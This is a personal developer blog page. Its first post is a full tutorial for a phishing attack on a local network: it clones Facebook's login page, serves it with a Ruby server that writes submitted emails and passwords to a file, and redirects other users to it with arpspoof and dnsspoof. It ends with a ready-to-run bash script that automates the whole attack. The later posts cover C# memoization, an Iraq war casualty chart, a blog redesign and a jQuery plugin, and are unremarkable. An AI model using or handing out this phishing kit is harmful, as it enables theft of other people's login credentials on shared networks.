Adam Coffman

I write code, sometimes well.

Simple DNS Man in the Middle Attack for Password Phishing

| Comments

I was inspired to write this post after reading an article in the Autumn issue of 2600 that detailed using an iPhone to perform a similar attack - it is remarkably simple to perform; and frankly quite scarily effective.

Before we get started, I’d like to offer up to obvious disclaimer: this is for educational purposes only - use this for good, not evil, and don’t do this in a public place if you don’t want to face the legal consequences.

The attack will consist of three primary components. First we’ll need a small webserver to serve our phishing page and to record the usernames and passwords that are entered. Next, we’ll need to actually perform the DNS lookup attack, and finally we’ll use a shell script to tie it all together.

The author of the original article used lighttpd and php-cgi which worked fine for his purposes, but seemed a little heavyweight to me. Additionally, Macs don’t ship with lighttpd and php-cgi already set up. To minimize the need to install things, I elected to use Ruby - as it comes preinstalled on Macs and is bundled with the lightweight WEBrick server. The first thing we need to do is find the page we’d like to phish - for this example we’ll use Facebook’s login page. Go to facebook.com and do a Save As “web page complete.” This will pull down the page markup and static assets. If you use chrome it will separate static assets into a folder, and adjust the paths accordingly in the html file. For simplicity’s sake I went ahead and combined them all into one directory and changed the paths to match. Next, you’ll want to rename your login page’s html file to index.html. If you open up the html file and find the login form you’ll see that it does a post to login.php - remove the https://www.facebook.com from the destination and leave the rest in tact. Now that we have our copy of the static login page ready to go - we need something to serve it up. As I said before, we’ll use Ruby’s built in WEBrick server.

1
2
3
4
5
6
7

require 'webrick'
include WEBrick
server = HTTPServer.new({:DocumentRoot => ARGV[0]})
['INT', 'TERM'].each {|signal|
  trap(signal) {server.shutdown}
}
server.start

As you can see here we’re just starting up a simple server and serving static assets out of a folder specified as a command line argument. When we run the server you’ll need to point it to the folder you stored the Facebook login details on. Assuming you’ve put the login files in a folder called loginfiles you can run the server like so:

1

ruby server.rb loginfiles/

If you navigate to localhost - you’ll see the Facebook login page. Neat! But we’re not done yet. Next we need to log the credentials of people who try to use our form. To do this we can mount a handler in WEBrick that responds to the login.php resource that the form is already posting to. The server with the new handler looks like so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

require 'webrick'
include WEBrick

server = HTTPServer.new({:DocumentRoot => ARGV[0]})
['INT', 'TERM'].each {|signal|
  trap(signal) {server.shutdown}
}

server.mount_proc('/login.php', Proc.new {|req, resp|
  File.open(ARGV[1], 'a') {|f| f.write("#{req.query['email']} :: #{req.query['pass']}\n") }
  resp.body = '<html><body><h1>503 Service Unavailable</h1></body></html>'
})

server.start

Now the server will take the email and password entered into the form and save them to a file that you specify as the second argument to the server. Note that email and pass correspond to the fields on the login form. If you are using a different login form, you will need to adjust yours to match.

Go ahead and run the server again:

1

ruby server.rb loginfiles/ captured

Now if you navigate to localhost and submit the login form, you will be directed to a 503 Service Unavailable page and the credentials you entered will be logged in a file called ‘captured’ in whatever directory you started the server. This is pretty cool, but we’re only halfway done - without our DNS spoofing attack, we can’t convince anyone to use our login form.

For the next part of this article I’m going to assume you’re using your wireless adaptor on your Mac. If you’re using a different interface (wired for instance), you’ll need to adjust the scripts accordingly.

We’ll need two IP addresses to perform this attack correctly - the IP of your computer on the local network and the IP of the router. Both are easily attained through the command line. You can get your IP using ifconfig as follows:

1

ifconfig en1 | grep "inet " | awk '/inet/ { print $2 }'

Make a note of it. Next, you can get your router’s IP using netstat like so:

1

netstat -rn | awk '{if($1=="default") print $2}'

If you aren’t on a Mac you may need to search for 0.0.0.0 instead of default. Now that we have those two addresses, we’re ready to perform our attack. First, we need to respond to ARP requests on the local network in order to impersonate the router. Next, we’ll need to respond to DNS requests that get sent to us. For our purposes, we want to spoof the IP address of facebook.com to be our own computer, running WEBrick, while letting all other requests pass through as normal so as not to attract undue attention. As luck would have it dnsspoof (included in the dsniff package of security tools) has exactly this behavior. You can pass it a hosts file mapping IPs to servernames, and anything that isn’t matched gets forwarded as normal. To respond to the ARP requests we’ll use another tool in the dsniff suite: arpspoof. To get started, go ahead and set up a host file, in it simply put YOUR_IP *.facebook.com where YOUR_IP is the IP of your own computer that you recorded earlier. Save it as dnsspoof.conf. We’re now ready to start the DNS spoofing attack. If you type:

1

 arpspoof -i en1 $YOUR_ROUTER_IP | dnsspoof -i en1 -f dnsspoof.conf

Where $YOUR_ROUTER_IP is the router IP you recorded earlier, the attack will start. It will not affect your computer, but for any other computer on the network - facebook.com will resolve to your computer instead of the actual server. If you’re running WEBrick, it will show the seemingly normal looking login page. When they try to log in, it will show a 503 error and their credentials will be saved. Pretty scary how easy that is right? If you’re astute, you may notice one problem - no addresses OTHER than facebook.com resolve - this is because the Mac doesn’t have IP forwarding enabled by default, but this is easy to fix (though you should probably turn it back off when you’re finished) with a simple command:

1

sysctl -w net.inet.ip.forwarding=1

For convenience’s sake, and to facilitate easy cleanup - I have wrapped all the above behavior into a bash script. It assumes your Ruby file is named server.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

IP=`ifconfig en1 | grep "inet " | awk '/inet/ { print $2 }'`
ROUTER=`netstat -rn | awk '{if($1=="default") print $2}'`
URL=*.facebook.com

echo "[>>>] Writing dnsspoof.conf"

echo "$IP""   ""$URL" > dnsspoof.conf

sleep 2

echo "[>>>] Launching Attack"
echo "[>>>] Starting webrick"

ruby server.rb $1 $2 &
RUBYPID=$!

sleep 2

echo "[>>>] Enable IP Forwarding"
sysctl -w net.inet.ip.forwarding=1

sudo arpspoof -i en1 $ROUTER | sudo dnsspoof -i en1 -f dnsspoof.conf

echo "[>>>] Killing webrick"
kill $RUBYPID

echo "[>>>] Cleaning up"
rm dnsspoof.conf

echo "[>>>] Disable IP Forwarding"
sysctl -w net.inet.ip.forwarding=0

You will probably have to sudo to run it as it accesses your network stack, and you will need to pass along the two arguments that your webserver needs. So, assuming you’ve named it phish.sh, you can run it as follows: sudo ./phish.sh loginstuff/ credentials. You can of course stop the attack with ctrl-c.

Its scary how effective such a simple attack can be. As I said before, this is for educational purposes only - if you try to do this to someone (which I advise against on ethical grounds anyways) - you do it at your own risk. It would be incredibly easy to get caught as this attack makes zero effort to hide itself.

Generic Function Memoization in C#

| Comments

Most competent developers have used memoization at some point in their career whether they have known it by name or not. Essentially, it is a technique for caching the results of function calls to improve performance by eliminating the need for repeated calculations. This can be as simple as using a dictionary or hash table to store the results of each call, and then checking that table before calling the function. The other day, I was looking for a way to encapsulate this logic into a reusable form. The following is what I came up with. Its not perfect, but it takes the form of an extension method for any function that accepts one argument and returns a non-void value. If you need to use a more complicated set of arguments, you can always declare a quick class to encapsulate them. In a more dynamic language, there would be better ways to do this - but this seemed like a decent solution for C#.

1
2
3
4
5
6
7
8
9
10
11

public static class Memoization {
  public static Func<T,K> MemoizeFunction<T,K>( this Func<T, K> function ) {
    var table = new Dictionary<T, K>();
      return ( args ) => {
        if ( table.ContainsKey( args ) ) return table[args];
        var result = function( args );
        table[args] = result;
        return result;
      };
   }
}

You could use this function to wrap any other function with memoization logic as follows

1
2
3
4
5
6
7
8
9
10
11
12

//Assuming you had an existing function with the following definition:
//public int Square(int num);

Func<int,int> memoizedSquare = (arg) => Square(arg);

memoizedSquare = memoizedSquare.Memoize();

//first time the function is evaluated
memoizedSquare(2);

//second time the value will be pulled from the dictionary instead
memoizedSquare(2);

After showing this to a coworker he directed me to a pretty old blog post detailing an almost identical technique, while I developed this function on my own - I will link to his more thourough explanation here

Wikileaks Iraq War Casualty Graph

| Comments

I was digging through the Wikileaks Iraq War Logs SQL dump the other day and I found the difference between actual combat casualties and “collateral damage” to be striking and horrifying. Eventually I want to put together a much more elaborate visualization, but I rolled this up in about an hour and it serves the purpose pretty well. The tiny red sliver at the top of the graph is actual enemy combatants killed while the blue at the bottom is our troops killed. The giant yellow portion is civilian casualties and the green is Iraqi citizens that are involved in the war such as police forces and politicians.

The data is extracted from the US Military’s own reports and rolled up in a simple SQL query. The data spans January 2004 through December 2009 and I’ve totaled it into one month intervals. It just goes to show that the troops on either side aren’t the ones bearing the full horror of this war - it is the Iraqi people themselves.

The chart is powered by the wonderful Javascript Infovis Toolkit and you can mouse over any data point to see totals for that month.

Slight Blog Redesign

| Comments

I spent some time after work last night and tonight re-doing all the markup by hand for my blog. I have essentially zero CSS or design skills; so when I originally started this site on Wordpress, I used a template. When I moved to Jekyll, I reworked the template to my liking but all of the convoluted CSS and HTML markup was still there. It wasn’t particularly clean or semantic. Recently, I’ve decided I need to improve my (nonexistent) CSS skills and perhaps play with some new HTML 5 goodness along the way. I figured a good first step down that path would be throwing away the remains of my Wordpress template and redoing my site. It looks fairly similar, albeit a bit cleaner, but under the hood its using new HTML 5 tags like section and article. I also cut the total lines of CSS down by more than half. Overall I’m pleased with how it turned out and look forward to continuing to learn more.

Show Off Your Github Repos With Tehcodez

| Comments

So I wrote this post about a week ago, but never actually hit publish for some reason; so, here it is. Better late than never I guess.

Recently, I’ve been writing a lot of JQuery at work and I’ve started to really like it. To continue expanding my knowledge I decided to do something I’d never done before - write a plugin from scratch.

I thought it would be cool to write a simple plugin that pulled in your public github repos and their descriptions (using the API) and displayed them in a list. I don’t purport to be any sort of designer and my CSS skills are fairly horrendous, so the final product isn’t exactly pretty, but it is set up to be styled easily by someone more skillful than I.

So, without further ado, I present tehcodez. It requires only one parameter: your github username, but it can take a variety of others if desired. Somewhere in your JQuery $(document).ready() function simply call the plugin on a selector for an empty div somewhere on your page like so:

1
2
3
4
5
6

$(document).ready(function() {
  $('#repos').tehcodez({
    username: 'thecoffman',
    max: 20
  });
});

You can see the code, a demo and further documentation at the github repo.

I’ve been working on a number of side projects lately that I’ll be detailing here soon so, stay tuned!